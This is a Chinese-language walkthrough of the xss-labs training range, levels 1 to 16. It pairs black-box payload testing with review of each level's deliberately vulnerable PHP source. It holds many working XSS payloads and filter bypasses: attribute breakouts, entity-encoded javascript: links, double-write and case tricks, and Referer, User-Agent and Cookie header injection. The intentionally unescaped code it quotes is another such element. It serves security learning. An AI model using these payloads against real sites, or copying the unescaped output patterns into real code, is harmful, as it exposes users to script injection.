以黑盒与白盒的角度分析和通关xss-labs(XSS漏洞类型与总结)

目录

目录

前言

XSS漏洞的总结和梳理

1.第一关(基础palyload)

黑盒测试

白盒测试

2.第二关(闭合)

黑盒测试

白盒测试

3.第三关(字符转义)

黑盒测试

白盒测试

4.第四关(字符过滤或替换)

黑盒测试

白盒测试

5.第五关(关键词替换)

黑盒测试

白盒测试

6.第六关(关键词替换)

黑盒测试

白盒测试

第七关(关键词替换)

黑盒测试

白盒测试

8.第八关(herf隐藏属性)

黑盒测试

白盒测试

9.第九关(指定字符过滤)

白盒测试

10.第十关(属性修改)

黑盒测试

白盒测试

11.第十一关(referer注入)

黑盒测试

白盒测试

12.第十二关(UA注入)

黑盒测试

白盒测试

13.第十三关(cookie注入)

黑盒测试

白盒测试

14.第十四关(图片属性弹窗)

白盒测试

15.第十五关(外部文件加载)

黑盒测试

白盒测试

16.第十六关(字符实体替换)

黑盒测试

白盒测试

17-20关


前言

        本靶场我是以黑盒测试过了一遍后,然后通过白盒测试分析代码,并将代码的解析放到了对应的通关下面的,原因就是平常懒的打靶场,个人比较喜欢实战测试,本次以黑+白的测试方式,既对自己的渗透测试xss进行了梳理,也对自己学习了代码审计后对php代码的分析和审计能力做了一个检验.

开局一个死鱼眼,通关全靠弹

XSS漏洞的总结和梳理

                下面是我对XSS漏洞的一个总结与梳理,需要的师傅可自行下载和改进

1.第一关(基础palyload)

黑盒测试

        注意不要被下面的palyload的长度误导,刚开始我以为是只能输入四个字符,观察后发现是参数的字符数目

初始的url: http://127.0.0.1/xss-labs-master/level1.php?name=test

将后面改为1后访问,F12网络查看响应包,发现内容在h1标签中

http://127.0.0.1/xss-labs-master/level1.php?name=1

直接在url处用常用的palyload直接通关

<script>alert(1)</script>

白盒测试

        观察一下这关的代码,获得name参数的值,然后打印获取参数的值和长度,这里是直接echo出输入的数据,并且没有进行任何过滤和转义的

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

2.第二关(闭合)

黑盒测试

直接上来搜索框改为1方便观察,但然也可以不改,然后进行查看,观察返回的源代码

这里发现输出结果还是在h2标签中,但是值1在value中并且因为是在表单中,闭合方式以"进行闭合的,那么OK了,直接在搜索框下面输入下面的任意一个palyload,通关

"><script>alert(1)</script>
x" onclick=alert(1) //

白盒测试

        观察代码,接受name为keyword的内容,其中发现echo部分使用了htmlspecialchars()函数对输出的str数据进行了转义,直接输入"><script>alert(1)</script>会出现下面的情况,但是并没有对表单的value的值进行转义,通过构造闭合方式的表单也会出现xss漏洞

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

3.第三关(字符转义)

黑盒测试

这关发现还是表单,但是直接连test也没有了,还是老样子1,尝试一下

这样观察不出来什么,还是先盲打palyload测试一下

//ok发现输出转义了
<script>alert(1)</script>  

 

那尝试一下闭合表单呢,value处或是输入参数也做了转义,那就OK了

"><script>alert(1)</script>

 

        知道转义了,尝试输入' " <>"&,发现只有单引号没有被过滤同时确定闭合方式为单引号,ok了知道没有被过滤的字符以及闭合方式了,并且根据靶场为php后端开发,猜测可能就是用的默认的htmlspecialchars来做的后端过滤,这个后面分析源代码的时候可以验证

直接尝试掏出我祖传绕过秘笈,打入palyload,然后单击输入框,ok通关了

x'onclick=alert(1)// +单击搜索框
'onclick='alert(1)+单击搜索框

白盒测试

        分析一下源代码,接受name为keyword的内容,其中发现echo部分以及value部分使用了htmlspecialchars()函数对输出的str数据进行了转义,并且value部分的闭合方式为单引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

既然进行绕过了,那就具体分析一下htmlspecialchars()这个函数吧

        首先根据上面代码知道,不指定参数,那么为默认的,那么根据下面的显示很明显,只针对双引号做了转义,没有对单引号做转义,OK了

可用的引号类型:

  • ENT_COMPAT - 默认。仅编码双引号。

  • ENT_QUOTES - 编码双引号和单引号。

  • ENT_NOQUOTES - 不编码任何引号。

<?php
$str = "Bill & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES);// 转换双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
?>
<!DOCTYPE html>
<html>
<body>
Bill &amp; 'Steve'<br>
Bill &amp; &#039;Steve&#039;<br>
Bill &amp; 'Steve'
</body>
</html>

直接使用使用单引号构造的palyload

x'onclick=alert(1)// + 单击搜索框
'onclick='alert(1)+单击搜索框

4.第四关(字符过滤或替换)

黑盒测试

还是老样子先输入一个1观察一下,然后开始从基础的palyload开始尝试

先输入一个基础palyload尝试看一下回显,很明显h2部分的输出部分进行了转义,发现返回的value没了<>,value处进行了只过滤了符号

<script>alert(1)</script>

 

打一波' " <>& 符号,查看闭合方式以及被过滤的字符,如下图所示,发现了闭合方式为"

那这里也就简单了,只需要使用不含<>的palyload就可以了,还是使用上一关的palyload,只是闭合方式改为了"

x"onclick=alert(1)// + 单击搜索框

白盒测试

        分析一下源代码,可以看到还是和上面的分析的查不多,还是echo输出部分通过htmlspecialchars()函数进行了转义,vlaue部分输出的值通过str_replace()函数将<>进行置换为空后并输出其他内容,并且闭合方式为双引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

5.第五关(关键词替换)

黑盒测试

先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

尝试打一个基础的以及前面使用的palyload,发现如下图所示,给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 观察这两个发现过滤都是关键词,那么尝试使用其他的标签看是否存在别的标签没有被过滤或是尝试大小写绕过

<script>alert(1)</script>
x"onclick=alert(1)//

 

因为html对大小写不敏感,可以先尝试是否存在大小写绕过,发现还是被替换了,说明对输入的字符做了大小写转换,换下一种思路

"><Script>alert(1)</script>

        在尝试不同的标签后,发现fuzz标签后只有前面的那两个关键词被加了_,下面,是尝试的可以进行弹窗的palyload,其中第一个可以出现弹窗,但是不会提示过关,原因嘛猜测跟<iframe>标签本身有关,第二个超链接的形式可以成功过关

"><iframe src=javascript:alert('1');></iframe>  这个有弹窗,但是不会提示过关

 

"><a href="javascript:alert(`1`);">xss</a>  + 点击蓝色的xss

白盒测试

        分析一波代码,果然和前面的黑盒测试发现的结果一致,转义的就不说了,首先使用了strtolower()函数将输入的字符串转为小写,并且其中使用了str_replace()函数将"<script"置换为"<scr_ipt" ,将"on"置换为"o_n"后将其他的内容输出,通过使用不存在这两个关键词的标签进行弹窗就可以了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

6.第六关(关键词替换)

黑盒测试

先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

尝试打上一关测试的palyload,发现还是给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 发现还是它两

"><script>alert(1)</script>
x"onclick=alert(1)//

        尝试超链接的palyload,发现果然,也把这个加入了,加了个_,但是还有一个特性不要忘记,因为html中对大小写不敏感

"<a href="javascript:alert(`1`);">xss</a>

 

尝试大小写伪造绕过,通关

"><a Href="javascript:alert(`1`);">xss</a>
"><Script>alert(1)</script>

白盒测试

        分析一下代码发现对很多关键词进行了替换,但是没有对输入的字符做大小写转换,这就验证了前面做黑盒测试的时候和第五关不同的原因了,直接大小写绕过即可

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

第七关(关键词替换)

黑盒测试

还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

接下来继续打基础的palyload进行尝试,发现如图所示script没了,那么应该和上关一样进行了替换,只是这里替换为了空

"><script>alert(1)</script>

尝试一下大小写绕过,不可以,看来做了大小写转换

"><Script>alert(1)</script>

        既然替换为空,那么尝试双写绕过,我第一次尝试使用的palyload,结果发现返回的信息,当时还有点懵逼,根据返回的ipt突然反应过来了,说明双写绕过是可以的,但是不巧的是,其中有将src这个关键词也替换为空的,尴尬了,但是没事,这不还是有另一个老标签可以使用的,这个这么碰巧,另一个不可能在有了吧

"><scr<script>ipt>alert(1)</script>

 

尝试另一个标签,通关

x"oonnclick=alert(1)//

白盒测试

        分析代码,首先和黑盒测试过程中发现的结果一致,果然做了大小写转换,并且确实对src这个进行了替换,不然第一个palyload是绝对可以的,如代码所示,都只进行了一次替换,那么双写绕过拿下.

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

8.第八关(herf隐藏属性)

黑盒测试

        还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">,同时我们知道,在添加后我们需要进行点击,这里获取到的信息为,是在herf这个属性中

 

因为我确实在实战中目前没有碰到过这种情况,因此就只能使用老方法进行fuzz了,尝试进行闭合,发现被替换,尝试大小写,发现存在大小写转换,情况都如下图所示

"><script>alert(1)</script>
"><Script>alert(1)</script>

 

尝试双写绕过发现失败,并且发现把双引号也给替换为&quot了

"><scr<script>ipt>alert(1)</script>
x"oonnclick=alert(1)//

        到这里前面的所有技巧用光了,但是还有一种就是实战中常用的编码操作,但是一般我自己在实战中,直接进行盲打的,这里就结合js以及搜索知道了href有个隐藏属性自动Unicode解码,ok了进行编码

这里我利用的插件进行的编码,至于怎么判段打过ctf,熟悉这个编码了

javascript:alert() //下面是将这行伪协议编码的内容
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

白盒测试

        分析一下代码,首先先是大小写转换,果然和黑盒测试的一致,然后就是关键词的替换,到这里正常是我们基本没办法了,但是因为href的隐藏属性自动Unicode解码,并且转码后也不会被替换,因此可以绕过了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

9.第九关(指定字符过滤)

白盒测试

        本关直接点击连接会出现下面的情况,ok看到这里我其实已经懵逼了,为什么因为无法判断和知道到底是什么不合法,之前也没遇到过,也不黑盒了直接看源码分析

        还是过滤了很多,包含大小写转换,关键词替换,多了使用一个strpos()函数,查看一下这个函数的详情strpos() 函数查找字符串在另一字符串中第一次出现的位置,strpos() 函数对大小写敏感。

说白了就是看输入的连接里面包含http://这个不,不包含就会出现提示不合法的文字

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

直接输入下面的,然后进行添加连接,发现确实没有出现不合法的文字,,但是为了不影响我们的弹窗,我们可以将http://放到注释中就可以了

http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

10.第十关(属性修改)

黑盒测试

        直接查看页面,发现并没有可以输入信息的地方,查看源代码,发现一个表单,使用了type属性里的hidden属性对三个输入框进行了隐藏

        这里我们可以通过改hidden为text将框显示出来,但是我们没有提交按钮,这里我尝试給不同的两个输入框输入数据,最后一个改为submit,最终发现只有name="t_sort"这个输入框的数据回显了,说明这个是后端接受数据的回显位

尝试基础palyload,发现<>被替换为空了,尝试使用不含<>的palyload

"><script>alert(1)</script>

这里先把第一个标签的type改为submit,然后将第三个标签的type改为text输入palyload,进行提交后页面会刷新一次,再将第三个的type改为text,然后点击输入框,发现成功过关

x"onclick=alert(1)// + 单击输入框

白盒测试

        分析代码,发现首先没有经过大小写转换,并且确实是第三个标签接受数据和返回数据,将<>替换为空,因为无法尝试大小写绕过了,但是没有对一些js的关键词进行替换,因此可以通过多种方式进行绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

11.第十一关(referer注入)

黑盒测试

这关还是和上关一样,没有任何输入的地方,查看源代码,果然和上关一样

        本来继续尝试回显位以及有没有过滤或是关键词被替换之类的,找回显位就是改其他位置为按钮submit,把其他改为text进行测试,看返回页面的内容,但是在查看源代码时候发现了第四个标签中,出现了的上一关的url链接和信息,这里如果经常实战的师傅一看就知道是怎么来的了,并且单词的缩写也提示了就是referer,说明这里的值是根据referer传入的,那么可以通过burp抓包添加referer或是插件都可以,先用符号测试一波,如下图所示,用HackBar验证确实是referer进行传参,知道了<>被过滤了,并且闭合为"

 < > " '&

 

        既然过滤了<>,那可以使用的palyload也就考虑没有<>的了,构造palyload,先打一波,看是否存在关键词替换,发现并替换,OK了把type的hidden改为text,点击输入框就通关了

x"onclick=alert(1)//

白盒测试

        分析一下源码,其他的都不用,中点看可以弹窗的部分,其中使用了$_SERVER['HTTP_REFERER']作用是可以获取当前链接的上一个连接的来源地址,最初作用是用来防止盗链的,到这里用做了获取referer的值,并且在value输出处,没有进行转义,只是对输入的值进行了<>替换为空,用onclick就可以绕过了

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

12.第十二关(UA注入)

黑盒测试

        还是没有输入框,那么查看一下源代码吧,还是hidden隐藏了输入框,只不过最后一个,根据值以及前面的缩写,知道了这是ua头吧,有了上一关的经验,那么直接用palyload打一下

将userAgent改为下面的palyload,然后将type的值改为text

x"onclick=alert(1)//

发现palyload确实和上一关一样没有进行关键词替换,ok点击输入框通关 

白盒测试

        分析提下一下代码,和上关基本一致,只是获取到的数据为User_agent $_SERVER['HTTP_USER_AGENT']获取user_agent的值,然后将<>替换为空,最后没有转义的输出,通过onclick就可绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

13.第十三关(cookie注入)

黑盒测试

        老样子页面还是没有输入框,查看源代码发,发现这次没有什么明显的传值了,但是多了一个cook的东西,猜测可能是cookie注入

通小饼干插件查看,发现存在一个user,并且值和其中的value值对的上,ok解决了

直接打入和之前相同的palyload,然后更改type的hidden为text,然后单击输入框通关

x"onclick=alert(1)//

白盒测试

        分析一下源代码,发现和之前相似的两关,除了设置了一个cookie作为传值外,其他的没什么区别,设置由cookie传值,然后将<>替换为空,没有将关键词替换以及最后没有进行转义将其输出,造成漏洞

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

14.第十四关(图片属性弹窗)

白盒测试

        发现这关出来问题,最后只能直接看代码了,发现并没有任何的交互,因为出现了iframe这个标签,自己作为开发的一份子,对这个标签也是有一定的了解的,iframe标签的作用就是将一个别的页面引入到此页面中,但是访问下面的页面,发现已经没了,于是只能搜了一下本关的解法,ok具体可以看一下这个师傅写的文章xss-labs靶场-第十四关 iframe和exif xss漏洞 - FreeBuf网络安全行业门户,其实本关就是利用了实战中的弹窗的另一种方式而已,利用图片属性进行弹窗

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

15.第十五关(外部文件加载)

黑盒测试

本关还是没有输入框之类的信息,老样子直接查看源代码,发现除了这个注释没有什么别的有用的信息,直接百度这个信息

可以保护外部的html文件,必须在同一个域名下

注意点:

ng-include,如果单纯指定地址,必须要加引号。

ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。

ng-include,加载外部html中含有style标签样式可以识别。

ng-inclue,记载外部html中的link标签可以加载。

知道可以包含之前的文件,接下来我就尝试包含之前关卡的文件,最终发现尝试第一关并让第一关弹窗,根据前面的注意点,我们知道不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能的,这里我们使用img标签,构造payload,在URL处输入

?src='level1.php?name=<img src=1 onerror=alert(1)>'

白盒测试

分析源代码,以get方式在url中获取src属性的值然后以转义的形式将其输出,具体没有什么交互,本关引起漏洞的原因不在后端

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

16.第十六关(字符实体替换)

黑盒测试

        本关还是没有输入框之类的信息,但是注意存在一个test,观察url后发现,url处存在一个keyword=test ,那么开始测试,先测试符号,发现过滤

 < > ' " & /

打一个基础palyload看看情况,发现script被替换为空字符实体

<script>alert('1')</script>

        确定符号以及script都不能使用了,并且也不是属性的位置那么onclick相关的palyload也无法使用了,那么只能使用不包含这些palyload,看看我的绕过标签中还有这个符号

既然空格被过滤,但是我们是在url中传入的,可以通过编码进行绕过通过%0a这个空格的url编码进行替换空格代替空格进行绕过通关

<img%0asrc=1%0aonerror=alert(1)>

白盒测试

        分析一下源代码和测试,通过get请求获取的值进行转为小写,首先都转为小写,大小写绕过无法实现了,其次对符合以及script关键词进行实体替换,最后进行输出,但是没有对其他的关键词进行限制,并且最后输出时也没有进行转义,因此可以通过%0a的url编码绕过了空格转为实体,通过其他标签绕过script的限制.

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

17-20关

        其他关卡都是基于flash实现的,在实战中很少会遇到这么老的系统了,总结起来就是利用难度大,危害低,并且实现起来也比较复杂了,这里就不进行测试了,如果想进一步了解的师傅可以看其他师傅的文章进行复现和学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/779516.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++初级——C++入门(2):函数重载

目录 一、话题引入 二、 函数重载概念 三、不同重载类型 3.1 参数个数不同 3.2 参数类型不同 3.3 参数类型顺序不同 一、话题引入 在自然语言中&#xff0c;一个词可以有多重含义&#xff0c;人们可以通过上下文来判断该词真正的含义&#xff0c;即该词被重载了。 例…

java自旋锁

Java自旋锁&#xff08;Spin Lock&#xff09;是一种用于多线程同步的锁机制&#xff0c;通过反复检查某个条件&#xff08;通常是一个共享变量的状态&#xff09;而不是挂起线程来实现锁的获取。自旋锁的核心思想是让线程在尝试获取锁时保持活动状态&#xff0c;即进行“自旋”…

Spring Cloud Alibaba - Sentinel 分布式系统流量哨兵

目录 概述特征基本概念 安装Sentinel微服务引入Sentinel案例流控规则&#xff08;流量控制&#xff09;流控模式-直接流控模式-关联流控模式-链路流控效果-快速失败流控效果-预热WarmUp流控效果-排队等候 流控规则&#xff08;并发线程数控制&#xff09;熔断规则&#xff08;熔…

ECharts在最新版本中使用getInstanceByDom报错处理

引用问题导致报错 如果按如下引用的话&#xff0c;会报错 import echarts from “echarts/lib/echarts”; 原因 在 ECharts 的之前版本中&#xff0c;默认导出了一个名为 echarts 的对象&#xff0c;所以使用 import echarts from “echarts” 是没有问题的。但是在 ECharts …

【Docker系列】Docker 镜像构建中的跨设备移动问题及解决方案

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Spring中的事件监听器使用学习

一、什么是Spring中的事件监听机制&#xff1f; Spring框架中的事件监听机制是一种设计模式&#xff0c;它允许你定义和触发事件&#xff0c;同时允许其他组件监听这些事件并在事件发生时作出响应。这种机制基于观察者模式&#xff0c;提供了一种松耦合的方式来实现组件间的通信…

vue3+electron项目搭建,遇到的坑

我主要是写后端,所以对前端的vue啊vue-cli只是知其然,不知其所以然 这样也导致了我在开发前端时候遇到了很多的坑 第一个坑, vue2升级vue3始终升级不成功 第二个坑, vue add electron-builder一直卡进度,进度条走完就是不出提示succes 第一个坑的解决办法: 按照网上说的升级v…

DNS正向解析与反向解析实验

正向解析 安装bind软件 [rootlocalhost ~]# dnf install bind bind-utils -y修改主配置文件/etc/named.conf [rootlocalhost ~]# vim /etc/named.conf重启DNS服务&#xff08;named&#xff09; [rootlocalhost ~]# systemctl restart named编辑数据配置文件。在/var/named…

AI绘画Stable Diffusion【图生图教程】:图片高清修复的三种方案详解,你一定能用上!(附资料)

大家好&#xff0c;我是画画的小强 今天给大家分享一下用AI绘画Stable Diffusion 进行 高清修复&#xff08;Hi-Res Fix&#xff09;&#xff0c;这是用于提升图像分辨率和细节的技术。在生成图像时&#xff0c;初始的低分辨率图像会通过放大算法和细节增强技术被转换为高分辨…

Linux运维:mysql主从复制原理及实验

当一台数据库服务器出现负载的情况下&#xff0c;需要扩展服务器服务器性能扩展方式有向上扩展&#xff0c;垂直扩展。向外扩展&#xff0c;横向扩展。通俗的讲垂直扩展是将一台服务器扩展为性能更强的服务器。横向扩展是增加几台服务器。 主从复制好比存了1000块钱在主上&…

Flutter-实现双向PK进度条

如何实现一个双向PK进度条 在Flutter应用中&#xff0c;进度条是一个非常常见的组件。而双向PK进度条则能够展示两个对立的数值&#xff0c;如对战中的双方得分对比等。本文将介绍如何实现一个具有双向PK效果的进度条&#xff0c;并支持竖直和斜角两种过渡效果。 1. 需求 我…

仪器校准后出了校准证书后,是不是就代表仪器合格了?

仪器校准是一门技术活&#xff0c;对于从事生产制造的企业而言&#xff0c;是不可或缺的一环&#xff0c;因为这与产品质量密切相关。所以&#xff0c;了解仪器校准的相关知识也变得尤为重要。 在拿到校准证书后&#xff0c;是不是说明仪器合格了&#xff1f;相信不少企业品管人…

苍穹外卖--sky-take-out(五)前端

大部分笔记都是写在语雀的&#xff0c;这是一次性从本人语雀复制过来的&#xff0c;可能结构有些错乱 基础创建 环境要求 node.js npm Vue CLI 创建前端工程 使用vue ui命令创建 项目结构 启动项目 打开命令行窗口 快捷键ctrlj 或者 运行 输入&#xff1a;npm run ser…

基于单片机的多功能电子时钟的设计

摘要&#xff1a;提出了一种基于单片机的多功能电子时钟的设计方法&#xff0c;以 AT89C52单片机作为系统的主控芯片&#xff0c;采用DS1302作为时钟控制芯片&#xff0c;实现日期时钟显示并且提供精准定时的功能。此外&#xff0c;还可经由DHT22所构成的温湿度传感电路&#x…

Chair Footrest Protective Cover

Chair Footrest Protective Cover 万能通用型椅子脚垫保护套凳子耐磨硅胶加厚垫桌椅脚垫防滑静音套

【学术会议征稿】2024年工业自动化与机器人国际学术会议(IAR 2024)

2024年工业自动化与机器人国际学术会议&#xff08;IAR 2024&#xff09; 2024 International Conference on Industrial Automation and Robotics 2024年工业自动化与机器人国际学术会议&#xff08;IAR 2024&#xff09;将于2024年10月18-20日在新加坡隆重召开。会议将围绕…

ConcurrentHashMap是如何保证线程安全的-put方法简要分析

简介 ConcurrentHashMap 是 Java 中并发编程中常用的线程安全的哈希表&#xff08;HashMap&#xff09;实现。它具有以下几个显著的特点和优点&#xff0c;适合在特定的并发场景中使用&#xff1a; 线程安全性&#xff1a; ConcurrentHashMap 提供了并发访问的线程安全保证&am…

Keras实战之图像分类识别

文章目录 整体流程数据加载与预处理搭建网络模型优化网络模型学习率Drop-out操作权重初始化方法对比正则化加载模型进行测试 实战&#xff1a;利用Keras框架搭建神经网络模型实现基本图像分类识别&#xff0c;使用自己的数据集进行训练测试。 问&#xff1a;为什么选择Keras&am…

RedHat9 | Zabbix-Server监控服务部署

系统版本以及软件版本 使用的系统版本&#xff1a; Red Hat Enterprise Linux release 9.2 软件版本&#xff1a; zabbix-release-7.0-3.el9.noarchzabbix-web-7.0.0-release1.el9.noarchzabbix-web-mysql-7.0.0-release1.el9.noarchzabbix-web-deps-7.0.0-release1.el9.noar…

基于Android Studio订餐管理项目

